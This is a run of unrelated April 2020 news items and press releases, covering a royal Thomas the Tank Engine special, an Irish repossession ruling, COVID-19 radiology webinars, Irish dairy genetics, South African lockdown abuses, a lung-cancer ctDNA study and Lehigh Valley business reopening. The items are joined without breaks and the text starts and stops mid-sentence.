accuracy.' The Crown employs David Rankin-Hunt, a former member of the royal household, to advise on matters of protocol. He claims he approached Buckingham Palace to ask if they would mind him taking the job, and approval was granted. The Royal Arms, emblems and the Royal Crown cannot be used on articles for sale, and is prohibited by the Trade Marks Act 1994, unless prior permission is granted by the Lord Chamberlains Office. Filmmakers looking to shoot outside Buckingham Palace and Kensington Palace, or St. George's Chapel and Windsor Castle must seek approval from The Royal Parks Agency and the Chapter Clerk respectively. Filming at Sandringham and Balmoral is administered by those estates but, because they are private, filming permission is rarely given. Advertisement Proof of Prince Harry's attachment to the cartoon can be seen in photos of his first day attending nursery in September 1987, where he is seen carrying a Thomas the Tank Engine bag. The show will be aired by Netflix in the U.S. on May 1 and on Channel 5's 'Milkshake' show in the U.K. the following day. It will also be broadcast in Canada and Australia later in the month. MailOnline has approached Buckingham Palace, Clarence House and Mattel for comment. Gone Girl star Rosamund Pike, who lends her voice to the Duchess of Loughborough, said it was 'an absolute honour to have the chance to appear in the show.' The actress added: 'I take it as a big responsibility to play Duchess who is a lovely, warm, bubbly sort of effervescent engine that I am incredibly drawn to because she is very anxious to get things right.' In January, Prince Harry and his wife Meghan announced they planned to quit as senior royals, seek financial independence and move to North America. The split became official at the end of March, and the couple are currently in California, where Meghan was raised. The couple, who are breaking away from the monarchy to earn their own money in the US, have had to ditch using Sussex Royal as their brand name. The Queen and her senior officials were said to have ordered Harry and Meghan to drop the use of the word 'Royal' because it could have led to accusations they were cashing in on their royal status. The Sussexes agreed to the change, but appeared to show their dissatisfaction, with their website previously stating that the monarchy had no jurisdiction over the use of the word 'royal' overseas. Former actress Meghan agreed to do the narration for Elephant after a direct request from filmmakers, and after the Duke of Sussex was filmed touting his wife's voiceover skills to Disney boss Bob Iger at the UK premier of Lion King in July. Her fee for the project went entirely to the Elephants Without Borders charity - an organisation dedicated to conserving wildlife and helps protect the animals from poaching. Last year, the Duchess joked that she and Harry attended the premiere of The Lion King in London, to 'pitch' for work, footage from the event revealed. In the video, Prince Harry pointed to his wife and said: 'You do know she does voiceovers?' A surprised Mr Iger replies: 'I did not know that', before Harry continues: 'You seem surprised, she's really interested'. The Disney boss says: 'We'd love to try. That's a great idea,' while Meghan, who was next to Prince Harry, spoke to Beyonce. Proceeds from the Thomas the Tank Engine special edition will go to Harry's Travalyst programme which brings together some of the biggest operators in the travel industry - including Visa, Booking.com and Skyscanner - to help travellers pick low carbon options more easily and chose destinations that will have more benefit to local communities. Thomas gets lost along the way and meets the royal train, called the Duchess of Loughborough, voiced by Rosamund Pike Set when the Prince of Wales was a boy, the story sees the friendly engine taking Sir Topham Hatt, the controller of the railway, to Buckingham Palace to receive an honour Proof of Prince Harry's attachment to the engine can also be seen in photos of his first day attending nursery in September 1987, where he is seen carrying a Thomas the Tank Engine bag. Harry is pictured here on September 16, 1987, looking through mock binoculars holding the hand of nursery manager Jane Mynors and carrying a Thomas The Tank Engine bag on his way out from his first day at school in Notting Hill, West London Harry, arriving for his first day of nursery school at Chepstow Villas in west London with a Thomas the Tank Engine bag The show will be aired by Netflix in the U.S. on May 1 and on Channel 5s 'Milkshake' show in the U.K. the following day Still images show a young Prince Charles with his mother on the platform, with Thomas the Tank Engine The Duchess and Thomas: Rosamund Pike said, 'I take it as a big responsibility to play Duchess who is a lovely, warm, bubbly sort of effervescent engine that I am incredibly drawn to because she is very anxious to get things right.' The plucky blue tank engine doesn't appear in the debut story, but got his own illustrated book in 1946 called 'Thomas the Tank Engine' and swiftly took over from Edward, Gordon and Henry as everyone's favorite Eco-friendly travel initiative that was three years in the making: How Prince Harry hopes his Travalyst project will help slash global carbon emissions Travalyst is a global project to encourage the tourism industry to become more sustainable and make eco-choices simpler for travellers. Prince Harry has spent three years working on the initiative which he hopes will improve conservation, environmental protection and help increase the economic benefits of tourism for local communities. The Duke of Sussex and the co-founders of the project - Booking.com, Ctrip, Skyscanner, TripAdvisor and Visa - want to spark a movement of like-minded companies and organisations to make the future of travel more sustainable. The long-term initiative is focused on tackling the travel industry's impact on climate change, improving wildlife conservation, and protecting the environment in top tourist spots around the world. The Duke has said on Instagram that the name is a mixture of the words 'travel' and 'catalyst', adding that it comes from 'viewing our role in sustainable travel as catalysts to accelerate positive changes in travel'. He added: '#Travalyst aims to make travel more sustainable, to help protect destinations and benefit communities long into the future, and to enable consumers to make more environmental friendly choices whilst traveling.' It aims to increase the amount of tourism money that goes to local communities, and find answers to over-tourism. Sunshine Sachs, a US public relations firm, has been assisting the palace press office with the project, liaising with US media and the American-based firms who are part of the scheme. Advertisement The Rev. Wilbert Awdry released the first book in 'The Railway Series' 75 years ago. It was originally created as a bedtime story for his son, Christopher, during a bout of the measles. The plucky blue tank engine doesn't appear in the debut story, but got his own illustrated book in 1946 called 'Thomas the Tank Engine' and swiftly took over from Edward, Gordon and Henry as everyone's favorite. The train tales were turned into a stop-motion animation series in the 80s, moving into CGI in 2009. 'Thomas and Friends,' owned by Mattel, is now on air in more than 160 countries worldwide. Prince Harry, 35, and Meghan Markle, 38, have promised to continue their charity work behind the scenes, and last month revealed they were focusing 'the new chapter to understand how to best contribute'. In a farewell message to their 11.3million Instagram followers in March - one day before they stepped away from the Monarchy - they wrote: 'As we can all feel, the world at this moment seems extraordinarily fragile. Yet we are confident that every human being has the potential and opportunity to make a differenceas seen now across the globe, in our families, our communities and those on the front linetogether we can lift each other up to realise the fullness of that promise. 'What's most important right now is the health and wellbeing of everyone across the globe and finding solutions for the many issues that have presented themselves as a result of this pandemic. 'As we all find the part we are to play in this global shift and changing of habits, we are focusing this new chapter to understand how we can best contribute. 'While you may not see us here, the work continues. 'Thank you to this community - for the support, the inspiration and the shared commitment to the good in the world. We look forward to reconnecting with you soon. You've been great! 'Until then, please take good care of yourselves, and of one another. 'Harry and Meghan.' The move is set to spark an upsurge in activity for both Prince Harry and Meghan, who have been laying the foundations for life after royal duty. Meghan, 38, is understood to have 'heaps of projects in the works' after stepping back from her duties, spanning across various areas, to help the couple become financially independent. Meghan is also said to be interested in writing another recipe book following her successful 2018 Grenfell charity work with Together: Our Community Cookbook. It was launched in September 2018 as the Duchess's first major solo endeavour as a member of the royal family. Harry and Meghan fled their temporary Vancouver base with young son Archie amid the ongoing coronavirus threat which is sweeping the globe. A man has been refused permission by the High Court for extra time to appeal a repossession order on his home because of a five-year delay in applying for the appeal. In 2017, Killian McGrath sought an extension of time to allow him appeal a 2012 order granting possession to ICS Building Society of his home at Coolbagh, Clashmore, Co Waterford. Mr McGrath had obtained a 30-year mortgage for 1m from ICS in 2006. He failed to make repayments and repossession of his home was sought by ICS in November 2009. He opposed the move but also agreed to make repayments and offered to sell a property in Portugal to put towards repayments. While some repayments were made, they stopped in June 2011. The repossession order was granted by the Circuit Court in February 2012. He continued to live in the property and in 2017 he applied for an extension of the 10-day time limit for appealing the 2012 possession order. The Master of the High Court, who deals with cases on their way to trial, granted the extension after Mr McGrath argued the delay in seeking the appeal was due to him suffering from anxiety and depression. ICS then appealed the Master's order to the High Court. Today Mr Justice Charles Meenan set aside the Master's extension of time. He was satisfied "no credible explanation" was given by Mr McGrath as to why he failed to appeal the Circuit Court order within the 10-day period allowed. He had not explained why he waited in excess of five years to do so. The judge was also satisfied he was not suffering from a medical condition, as he asserted, that prevented him from prosecuting an appeal. "Despite being given an opportunity to do so, the defendant produced no credible evidence to the court to substantiate his alleged disabilities", he said. NEW YORK, NY / ACCESSWIRE / April 28, 2020 / On April 17th, around 400 radiologists from China and Latin American countries participated a medical academic webinar dedicated to sharing Chinese radiologists' diagnosis experience of COVID-19 cases with their counterparts in 15 countries of Latin America, a continent was also severely affected by the pandemic as the Coronavirus is still rampaging through the world. Exclusively sponsored by Bayer China Radiology, it has been the 3rd webinar of the online medical academic forum series which were jointly held by Chinese Radiology society and China International Medical Foundation. With the purpose of combating COVID-19 in global solidarity, the forum series have 8 webinars, which aim to connect Chinese radiologists with their counterparts around the world including Italy, Germany, Latin America countries, Asia-Pacific countries, etc. For the past two Sino-Korea exchange sessions, there were in total 200 participants from both countries. "Chinese healthcare professionals and radiologists are the first ones facing this serious pandemic challenge. China has taken the situation under control. It is the duty and honor of physicians in China to share experiences and lessons learned with the international community to help our peers cure more patients and to protect themselves at the same time," said the Prof. Zhengyu Jin, president of the Chinese Society of Radiology. The webinars mainly cover two topics. One is the radiological image diagnosis and research progress regarding COVID-19 and the other one is about protection and infection control within radiology department. In this outbreak, CT imaging diagnosis is like a scout, helping doctors to make a clear diagnosis so that they can accurately treat patients. "This kind of international sharing is paramount important for physicians in Brazil, I look forward to exchanging knowledge and learning from Chinese physicians who have been through this, and ultimately to help our patients." said Prof. Dany Jasinowodolinski, a Co-chair representing the LatAm societies, Head of Chest Imaging at Hospital do Coracao, SP, Brazil, and a Member of The Radiological and Diagnostic Imaging Society of Sao Paulo. Story continues "With the incredible bravery, our medical professionals have put their lives on the line to save others. Now, our medical professionals are working together to share clinical experiences and scientific knowledges to support each other in the fights against COVID-19.," said Anne Hu, China Country Head of Bayer Radiology. " Bayer Radiology China is proud and privileged to partner with China Radiology Society and Bayer Radiology teams around the globe for the cross country sharing to enhance the diagnose of the disease." Top level thought leaders from all over the world joined this action with the support from Bayer Radiology global teams across the world. Bayer global teams are collaborating with one vision on their minds, which is: Health for all, hunger for none. Contact: Global News Online Sushan Wen +1 (321) 800-3487 info@globalnewsonline.info SOURCE: Global News Online View source version on accesswire.com: https://www.accesswire.com/587338/Chinese-Radiologists-Share-Experience-of-Treating-COVD-19-Patients-with-Global-Radiology-Community The historical dominance of the Aussie and Dutch bloodlines in Irish dairy breeding has been almost completely replaced by home-bred dairy sires in less than a decade. The 9,000pc increase in Irish-bred dairy bulls on the recommended ICBF list 2020 reflects one of the biggest changes in dairy genetics in this country in more than a century. The 62 bulls listed by the AI service in 2005 were almost all from the Netherlands (35) and New Zealand (25), with two from the USA. Two years later there was one Irish-bred bull on the official list, while the dominance of Kiwi- and Dutch-bred sires continued. As Irish breeders' demands broadened, the American influence on the list increased to 20 US-bred bulls by 2010. And as Irish dairy farmers assessed the possibilities for expansion after the milk quotas' abolition in 2015, the emphasis switched to the improvement in Irish dairy genes, with home-bred bulls increasingly represented on the list. The 2020 list shows 67 of the 75 bulls are Irish-bred, with an almost complete wipe-out of New Zealand and Dutch bulls. The 10pc of non-Irish-bred bulls on the list includes Canada (4), USA (2), Germany (1) and just one from New Zealand. "It has been remarkable progress by Irish breeders in developing our dairy genes to become some of the best in the world," said one industry analyst. "And it is more than a coincidence that the improved genes have come at the same time as the rapid expansion in the Irish dairy herd since the ending of the milk quota." Steering the change was the National Cattle Breeding Centre (NCBC) in conjunction with Teagasc Moorepark and the ICBF. The aim was to identify elite, high-EBI Irish cows of unique pedigree and proven performance for fertility and milk solids production, and then mating these cows to high-EBI AI sires. The new procedure, under the Gene Ireland Programme, developed by Teagasc Moorepark, was designed to deliver the optimal panel of young bulls for Ireland while addressing concerns about in-breeding. The objective was to test 70 bulls each year and target each bull to have 100 heifer replacements recorded in 100 herds, by year four of the programme. To progeny-test the 70 young bulls, 35,000 doses of semen were used across a small number of 'targeted' herds. The aim was to obtain 100 milk-recorded heifers from the selected herds to increase the reliability of each bull's proof. Test straws were made available in three pack sizes: packs of 25 (5 bulls x 5 straws) 35 (5 bulls x 7 straws) and 50 (5 bulls x 10 straws). There was no particular requirement on how these straws are used, but all straws had to be used in the herd during the assigned season. The herd owners did not get a choice of individual test bulls. The allocation of bulls per pack were chosen at random, but each represented a range of sires and had an average EBI as close to the overall group as possible. The New Zealand influence staged the strongest resistance to the Irish sires' takeover. In 2012, the Kiwi bulls continued to outnumber the Irish by over 25pc, but thereafter their decline was rapid, dropping to 11 out of 75 listed bulls in 2015 and seven in 2016. IHFA field officer Donal Carey said: "Pedigree Holstein Friesian bulls registered with IHFA continue to be a rich genetic resource for Irish farmers and the AI industry. Genomic testing "IHFA introduced genomic testing as part of the Herdbook registration of all males in 2012. The adoption of this DNA-based breeding technology has been a positive outcome for IHFA members and for the AI sector at large. "Holstein Friesian bull calves who might otherwise have been sold destined for beef outlets have been purchased for AI stations, their advantageous Genetic merit having been identified by genomic test results. "The compound accumulation of IHFA genomic testing data continues to help underpin the population of reference animals relied upon for compiling updated breeding evaluations." The replacement of Australian and Danish bloodlines in the Irish dairy herd by home-bred sires represents a genetic revolution, writes Martin Ryan Will the coronavirus lockdown be extended in the national capital? The Delhi government will follow the Centre's guidelines, officials said on Monday. This comes after Prime Minister Narendra Modi held a video conference with chief ministers to discuss the situation arising out of the coronavirus outbreak and measures to deal with it. "We are preparing our submission which will be sent to the Centre soon," a senior government official said. The official said nine chief ministers spoke during the meeting with the prime minister in which they discussed a range of ... Expanding the scope of its probe into the December 2017 Elgar Parishad conclave, the National Investigation Agency (NIA) has started looking at whether the 11 activists arrested in the case were involved in raising funds (for anti-national activities), brainwashing educated youth in urban centres, made international visits to get support from different organizations abroad, launched misinformation campaigns against the government , and met with overground Maoist leaders, two officials familiar with development told HT. The probe by NIA also focuses on student leaders in various universities and non-government organizations that extended support to the activists. Nine activists, Surendra Gadling, Sudhir Dhawale, Rona Wilson, Shoma Sen, Mahesh Raut, Varavara Rao, Vernon Gonsalves, Arun Ferreira and Sudha Bhardwak were arrested and chargesheet by Pune Police in 2018 in the case while two others, Anand Teltumbde and Gautam Navlakha were arrested earlier this month by NIA. Most are currently in judicial custody. While Pune police has already filed two charge sheets in Bhima Koregaon incident, our probe focuses on unearthing the whole network of activists and frontal organizations working with them including student unions, youth organizations, lawyers groups, tribal bodies and NGOs. The source of funding, both in India and abroad, different events/activities organized by them will be identified and stopped, said the first official. Senior advocate Mihir Desai, who appears for Teltumbde and Gonsalves said: All the charges are false and baseless. Pune police too has been saying this for two years that they are looking at larger conspiracy but there was no mention in its charge sheets. Advocate Rohan Nahar, who appears for Varavara Rao and Rona Wilson, said: The police and now NIA are going on a wild goose chase...there is no case at hand. Complaints against SANDF The SANDF and SAPS should not enforce the COVID-19 lockdown at the expense of undermining human rights, personal dignity and common sense. The South Africas Military Ombudsman received at least 33 complaints from the public of excessive force, physical abuse and brutality against the military during the COVID-19 lockdown. The Independent Police Investigative Directorate (IPID), which monitors police abuse, has registered 39 cases of complaint against police wrongdoing, with six incidents of death as a result of police action during the first week of the lockdown, and is investigation 13 complaints related to police shooting and 14 of police assault. In the first few days of the lockdown, more people died from police and military heavy handiness then from the coronavirus itself. A number of videos have circulated of police and army enforcing the lockdown who were beating people they believe were not confirming to lockdown rules. In Hillbrow in the Johannesburg inner city police sjambokked people they believed were not following lockdown rules. In Soweto, soldiers have forced people do push-ups for not adhering to the lockdown rules. One policeman has so far been arrested for a killing a citizen who was shot dead by police after following the man from a bar to his house. After 26 years since the end of apartheid, the South African police appear still not to have been trained, neither have they inculcated a culture of human rights-policing. Equally, the army, although it is now involved in numerous peace making missions abroad, are also not at times performing their duties in such a way to respect basic human rights, dignity and compassion. It does appear that both the police and army culture is based on using violence, humiliation and aggression to enforce rules. Nosiviwe Mapisa-Nqakula, the Minister of Defence said in response to the death of an Alexandra man allegedly assaulted by SANDF soldiers: We hang our heads in shame. But there has been incidents where the police and the army go against common sense and arrest law-abiding citizens who are within the rules. There has been a number of cases where people have legitimately gone to the shops, pharmacy or other essential business who have been then been arrested for contravening the rules. Last week Allan Kirby, a diabetic, from Somerset West was fined by the police for going to his local pharmacy, because he did not have his prescription on hand. The South African Human Rights Commission (SAHRC) has urged the South African Police Service (SAPS) and the South African National Defence Force (SANDF) to exercise greater tolerance and apply minimum force in the execution of their duties as has been urged by the President. The police and army should not discriminate against people based on race, religion or class in their enforcement of the lockdown rules. Poor communities, already vulnerable people and the homeless appear to be particularly at the mercy of police and army abuse. It was important that Minister of Communications, Telecommunications and Postal Servicers Stella Ndabeni-Abrahams was charged with contravention of regulation 11B of the Disaster Management Act; because the lockdown rules must be seen to be enforced without discrimination based on privileged, political connectedness or influence. The family of an Alexandra township man, Collins Khosa, who died after allegedly been assaulted by soldiers during the lockdown enforcement in the township, has gone directly to the Constitutional Court to hold government accountable, have the soldiers involved fired and to seek compensation for his death. It is important that citizens use the courts to hold government accountable if other official oversight institutions do not so. Freedom of expression during the lockdown must be defended. Criticism of the president or the governments measures to tackle Covid-19 or the behaviour of the police or army is not illegal. Off course, spreading fake news is unacceptable, and should be dealt with by the authorities. Citizens must report police and army abuse even if they may not be able to precisely identify a particular individual responsible for manhandling them. The media, civil society organisations and oversight organisations such as the Human Rights Commission must monitor police and army abuse. The media, civil society and oversight organisations must support vulnerable, marginalised and powerless communities and citizens who appear to be on the receiving of disproportional police and army brutality. All complaints against the police and army must be thoroughly investigated. Police and army officers found to have to be abusive should be disciplined. They should be held to account publicly. In the long-term, the training curriculum of the police and army must be overhauled to make it more human rights based. The organisational culture of the police and army, which clearly is based on humiliation, aggression and abuse should be thoroughly shaken up to focus on compassion, human rights and decisions based on common sense. William Gumede is Associate Professor, School of Governance, University of the Witwatersrand, and author of Restless Nation: Making Sense of Troubled Times (Tafelberg). This article was first published in the Daily Dispatch. [April 28, 2020] ArcherDX and UCL Present New Minimal Residual Disease Surveillance Data from their Collaboration at 2020 AACR Virtual Annual Meeting BOULDER, Colo. and LONDON, April 28, 2020 /PRNewswire/ -- ArcherDX, Inc., UCL and the Francis Crick Institute today announced new data from their research collaboration as part of the Cancer Research UK-funded UCL-sponsored TRACERx study. Based on the on-going collaboration between ArcherDX and UCL, utilizing ArcherDX's AMPTM technology, the data demonstrated cancer circulating tumor DNA (ctDNA) monitoring for minimal residual disease (MRD) can detect relapse of non-small cell lung cancer (NSCLC) earlier than standard of care imaging surveillance in some instances. Post-operative timepoints were analyzed from 90 TRACERx patients. In patients whose cancer had relapsed and shed ctDNA, the ctDNA was detected at or before relapse with a median lead-time, or time from ctDNA detection to clinical relapse, of 164 days (range: 6 to 1,022 days) in the TRACERx study tracking a median of 200 variants per patient. Furthermore, in non-relapse patients, the assay demonstrated 99.3% clinical specificity within the research data set. Results from the analytical validation of a 50-variant version of the research assay demonstrated 100% specificity with detection down to 0.003% variant fractions at high cell-free (cfDNA) input levels.i With more sensitive detection of ctDNA for MRD as a biomarker, it is possible for adjuvant clinical trials to be conducted in smaller and more relevant settings by only escalating therapy in patients who are set to relapse, thereby potentially reducing trial size, cost and time. The full results of the analysis will now be presented today at 2:30 p.m. ET during the 2020 American Association for Cancer Research (AACR) Virtual Annual Meeting (abstract #2025).i "Specificity is a critical and under-appreciated requisite of frequent disease monitoring," said Christopher Abbosh, M.D., Principal Clinical Fellow, UCL. "Data from a 50-variant version of the research assay demonstrates a variant detection limit of 0.003% at high cfDNA input levels while maintaining 100% variant analytical specificity. Together, with our collaborators, we aim to establish an MRD approach to treating early-stage NSCLC in order to determine which patients are likely to relapse and overcome challenges associated with conventional adjuvant therapy trial design. We believe this approach will provide an opportunity to expand precision oncology into early-stage cancer, when the cancer is typically easier to cure." ArcherDX's Personalized Cancer Monitoring (PCM) development program is being developed by ArcherDX and is supported by a collaboration led by Professor Charles Swanton of UCL and the Francis Crick Institute to detect evidence of disease progression in lung cancer patients from cell-free ctDNA as part of the Cancer Research UK-funded UCL-sponsored TRACERx study. PCM applies Archer's proprietary Anchored Multiplex PCR (AMP) technology to accurately detect exceedingly low levels of cancer-derived DNA from patient blood. "There remains a stark unmet need to improve the current adjuvant standard of care and outcomes in patients with solid tumors," said Jason Myers, Ph.D., Chief Executive Officer and co-founder, ArcherDX. "Key to reducing patient burden in cancer treatment is a minimally invasive assay that enables tracking disease recurrence at the earliest possible time point directly at the patient's care setting. We are thrilled to collaborate with the UCL team, which aligns closely with ArcherDX's mission to bring the right test to the right patient at the right time." Lung cancer is one of the most common types of cancer worldwide and a leading cause of cancer-related death.ii NSCLC is the most common type of lung canceriii and has a complex genomic landscape.iv About TRACERx Study TRACERx (Tracking Cancer Evolution through therapy (Rx)) lung study is the single biggest investment in lung cancer research by Cancer Research UK. Taking place over nine years, we believe the translational research programme is the first study to look at the evolution of cancer in real time and immense detail. Researchers follow patients with lung cancer all the way from diagnosis through to either disease relapse or cure after surgery, tracking and analysing how their cancer develops. TRACERx is led by UCL (University College London) via the Cancer Research UK Lung Cancer Centre of Excellence and also supported by the National Institute for Health Research, University College London Hospitals Biomedical Research Centre, Francis Crick Institute and the Rosetrees Trust. About ArcherDX ArcherDX is a leading genomic analysis company democratizing precision oncology through a suite of products and services that are highly accurate, personal, actionable and easy to use in local settings. Our Archer platform, with our proprietary Anchored Multiplex PCR (AMP) chemistry at the core, has enabled us to develop industry-leading products and services to optimize therapy and enable cancer monitoring across sample types. We develop and commercialize research use only (RUO) products, are developing in vitro diagnostic (IVD) products, and offer services that meet the unique needs of our customers and their clinical applications. Our RUO product portfolio consists of VariantPlex, FusionPlex, LiquidPlex and Immunoverse, which we collectively refer to as ArcherPlex. IVD products currently in development for solid tumor biomarker identification and Personalized Cancer Monitoring (PCM) have both received Breakthrough Device Designation from the FDA. ArcherDX is headquartered in Boulder, Colorado. Learn more at www.archerdx.com and follow @ArcherDXInc on Twitter, Facebook and LinkedIn. About UCL London's Global University UCL is a diverse community with the freedom to challenge and think differently. Our community of more than 41,500 students from 150 countries and over 12,500 staff pursues academic excellence, breaks boundaries and makes a positive impact on real world problems. We are consistently ranked among the top 10 universities in the world and are one of only a handful of institutions rated as having the strongest academic reputation and the broadest research impact. We have a progressive and integrated approach to our teaching and research championing innovation, creativity and cross-disciplinary working. We teach our students how to think, not what to think, and see them as partners, collaborators and contributors. For almost 200 years, we are proud to have opened higher education to students from a wide range of backgrounds and to change the way we create and share knowledge. We were the first in England to welcome women to university education and that courageous attitude and disruptive spirit is still alive today. We are UCL. www.ucl.ac.uk | Follow @uclnews on Twitter | Watch our YouTube channel | Listen to UCL podcasts on SoundCloud | Find out what's on at UCL Minds | #MadeAtUCL About The Francis Crick Institute The Francis Crick Institute is a biomedical discovery institute dedicated to understanding the fundamental biology underlying health and disease. Its work is helping to understand why disease develops and to translate discoveries into new ways to prevent, diagnose and treat illnesses such as cancer, heart disease, stroke, infections, and neurodegenerative diseases. An independent organisation, its founding partners are the Medical Research Council (MRC), Cancer Research UK, Wellcome, UCL (University College London), Imperial College London and King's College London. The Crick was formed in 2015, and in 2016 it moved into a brand new state-of-the-art building in central London which brings together 1500 scientists and support staff working collaboratively across disciplines, making it the biggest biomedical research facility under a single roof in Europe. http://crick.ac.uk/ About Cancer Research UK Cancer Research UK is the world's leading cancer charity dedicated to saving lives through research. Cancer Research UK's pioneering work into the prevention, diagnosis and treatment of cancer has helped save millions of lives. Cancer Research UK receives no funding from the UK government for its life-saving research. Every step it makes towards beating cancer relies on vital donations from the public. Cancer Research UK has been at the heart of the progress that has already seen survival in the UK double in the last 40 years. Today, 2 in 4 people survive their cancer for at least 10 years. Cancer Research UK's ambition is to accelerate progress so that by 2034, 3 in 4 people will survive their cancer for at least 10 years. Cancer Research UK supports research into all aspects of cancer through the work of over 4,000 scientists, doctors and nurses. Together with its partners and supporters, Cancer Research UK's vision is to bring forward the day when all cancers are cured. For further information about Cancer Research UK's work or to find out how to support the charity, please call 0300 123 1022 or visit www.cancerresearchuk.org. Follow us on Twitter and Facebook. Forward-Looking Statements This press release may contain forward-looking statements that involve substantial risks and uncertainties for purposes of the safe harbor provided by the Private Securities Litigation Reform Act of 1995. All statements contained in this press release other than statements of historical fact, are forward-looking statements. The words "aim," "believe," "may," "will," "estimate," "continue," "anticipate," "intend," "plan," "expect," "predict," "potential," "opportunity," "goals," or "should," and similar expressions are intended to identify forward-looking statements. These forward-looking statements include, among others, statements regarding the impact of the collaboration with UCL, the goal to establish and the expected impact of the MRD approach to treating early-stage NSCLC on precision oncology. Such statements are based on management's current expectations and involve risks and uncertainties. Actual results and performance could differ materially from those projected in the forward-looking statements as a result of many factors. ArcherDX has based these forward-looking statements largely on its current expectations and projections about future events and trends. These forward-looking statements are subject to a number of risks, uncertainties and assumptions. Moreover, ArcherDX operates in a competitive and rapidly changing environment. New risks emerge from time to time. It is not possible for its management to predict all risks, nor can it assess the impact of all factors on its business or the extent to which any factor, or combination of factors, may cause actual results to differ materially from those contained in any forward-looking statements it may make. ArcherDX undertakes no obligation to revise or publicly release the results of any revision to such forward-looking statements, except as required by law. Given these risks and uncertainties, readers are cautioned not to place undue reliance on such forward-looking statements. All forward-looking statements are qualified in their entirety by this cautionary statement. _____________________________ i Abbosh, C., et al. Phylogenetic tracking and minimal residual disease detection using ctDNA in early-stage NSCLC: A lung TRACERx study. Presented at the 2020 American Association for Cancer Research: April 28, 2020. ii World Health Organization. 2018 Cancer Statistics. https://www.who.int/news-room/fact-sheets/detail/cancer Accessed April 2020. iii American Society of Clinical Oncology. Lung Cancer Non-Small Cell Statistics. https://www.cancer.net/cancer-types/lung-cancer-non-small-cell/statistics Accessed April 2020. iv Bruin, E., McGranahan, N., Swanton, C. Analysis of intratumor heterogeneity unravels lung cancer evolution. Mol Cell Oncol. 2015;2(3): e985549. View original content to download multimedia:http://www.prnewswire.com/news-releases/archerdx-and-ucl-present-new-minimal-residual-disease-surveillance-data-from-their-collaboration-at-2020-aacr-virtual-annual-meeting-301048632.html SOURCE ArcherDX [ Back To TMCnet.com's Homepage ] (edited) If Gov. Tom Wolf maintains his color-coded reopening plan, several Lehigh Valley small business owners say they could be past the point of no return. The governor on April 22 outlined a three-tiered approach, color-coded by red for the current, most restrictive approach to yellow and, finally, green. He said parts of the state, the north central and northwest where theres relatively few COVID-19 cases, could be ready for a limited reopening on May 8. The northeast region, which includes the Lehigh Valley and Poconos, would be among the last to open due to its population and cases. The initial benchmark to reach a yellow-phase reopening is an average of less than 50 new cases per 100,000 people over the course of 14 days, Wolf said. As of Monday, the Lehigh Valley had seen a total of 1,834 positive COVID-19 cases in Northampton County and another 2,636 positive cases in Lehigh County. Its a challenge -- I think they went quite a bit overboard with the shutdown," said Tony ElChaar, whose been in business for 20 years as a pet store owner in Forks Township; Hanover Township, Lehigh County; and Lower Saucon Township. Ive never seen anything like this. The whole notion of this shutdown is insanity." Wolf ordered all non-life-sustaining businesses to close their doors on March 19. Essential businesses still operating include anything from supermarkets to medical and healthcare facilities to restaurants for carryout and delivery, with the state even promoting a CarryoutPa.com website. Some restaurateurs say its been a financial risk, operating on slim margins while also possibly compromising their health. Billy Kounoupis, owner of Billys Diner in Easton, Bethlehem and Allentown, said within a 24-hour period he learned he had to shut down all operations, suspend growth plans and halt renovations without notice. He was in the middle of a major renovation at his Bethlehem location when the pandemic began, he said. Kounoupis went on to say he cant deny hes angry at the government when it picks and chooses" what qualifies as an essential business while forcing other businesses to close. We are 100% accountable for all of our business and personal obligations such as mortgages , utilities, tuition, health insurance ... just to mention a few, and there is no relief for our businesses, Kounoupis said. I feel as if we are left out to dry. The Greater Lehigh Valley Chamber of Commerce is readying to send out letters to Wolfs office in the coming days requesting alternative methods be considered when determining if a business can reopen. For an example, if a restaurant is allowed to deliver curbside, why cant a gift shop or boutique owner, asked Michelle Griffin Young, executive vice president of government and external affairs for the Chamber. The chamber also has called on such legislators as state Reps. Michael Schlossberg, a Democrat serving Lehigh County; Peter Schweyer, a Democrat serving Lehigh County; and Ryan Mackenzie, a Republican representing parts of Lehigh and Berks counties, to lend a helping hand. Mackenzie told lehighvalleylive.com he supported Senate Bill 613, which would have allowed businesses to safely and responsibly open across Pennsylvania if they were able to follow guidelines outlined by both the Centers for Disease Control and Prevention and the Department of Homeland Security. That bill passed in both the House of Representatives and the Senate. However, it was vetoed by Wolf on April 20. Schlossberg told lehighvalleylive.com he isnt backing a plan to reopen businesses anytime soon. First, he said, decisions need to be based on ground data, scientists and medical experts. The state has rising rates of death and around 1,000 residents infected daily. Lehigh County has some of the highest rates of infection in the state. A blanket reopening will result in more infections and more dead, Schlossberg said. For the legislature to do the opposite of what doctors advise is bad science and dangerous. He added those backing a swift reopening are essentially arguing its either health or a good economy -- not both. I disagree, strongly. We only get a good economy if we protect the health of Pennsylvania residents, Schlossberg said. There is no question that the stay-at-home orders saved lives. Lifting it early will cost us more lives and do more economic damage than waiting until we have this thing under control. Schweyer did not immediately respond to a request for comment Monday. Staying afloat The Greater Lehigh Chamber of Commerce represents 5,000 business owners in Northampton, Lehigh, Carbon, Monroe and Warren counties. An Italian eatery in Allentown, Young said, already is preparing for post-pandemic patronage by installing plexiglass barriers at the checkout and takeout areas. Others are removing booths for better social distancing. I feel like people are really trying to find a way," Young said about bringing back business. To help small businesses stay afloat during the coronavirus pandemic, the chamber handed out grants totaling $300,000 in two phases through its Lehigh Valley coronavirus relief fund. To date, the fund provided 250 small business owners each with $1,000 to $1,500 in both phases. A third phase is currently underway, which likely will distribute another $50,000, in which 50 businesses could receive $1,000. Frank Facchiano, the chambers chief operating officer and executive vice president of member relations, said the funds are unrestricted and are helping business owners with paying rents, making payroll and other operating expenses. Both phases of the chambers fund were maxed out with more 200 applications in under an hour, Facchiano said. The chamber also has launched #OpenWeStandLV, in which users can click on a town and view what individual merchants in that municipality are creatively coming up with to sell their products and services. The logo is being advertised across the Lehigh Valley on billboards and commercials, Facchiano said. Additionally, #ReOpenLV also is in the works. The movement will be promoted once stores can reopen again, illustrating what individual business owners are doing to keep patrons healthy and safe. Laura McLain, executive director of the Slate Belt Chamber of Commerce, said that chamber is working on an email blast with its newsletter to the membership in an effort to garner opinions on possibly reopening businesses. To date, theres been no feedback, she said. Loan opportunities to help area business people also include the $300,000 small business relief fund the city of Bethlehem has launched. The U.S. Senate recently passed another coronavirus aid package totaling $483 billion, with the majority of funding going to boost a small-business payroll loan program that ran out of money earlier this month. It includes $60 billion of small-business loans and grants through the disaster aid program. Ten billion of that would come in the form of direct grants. The Lehigh Valley Economic Development Commission previously submitted 26 applications for area companies for a Pennsylvania Industrial Development Authority program, titled the COVID-19 Working Capital Access program. Those applications totaled 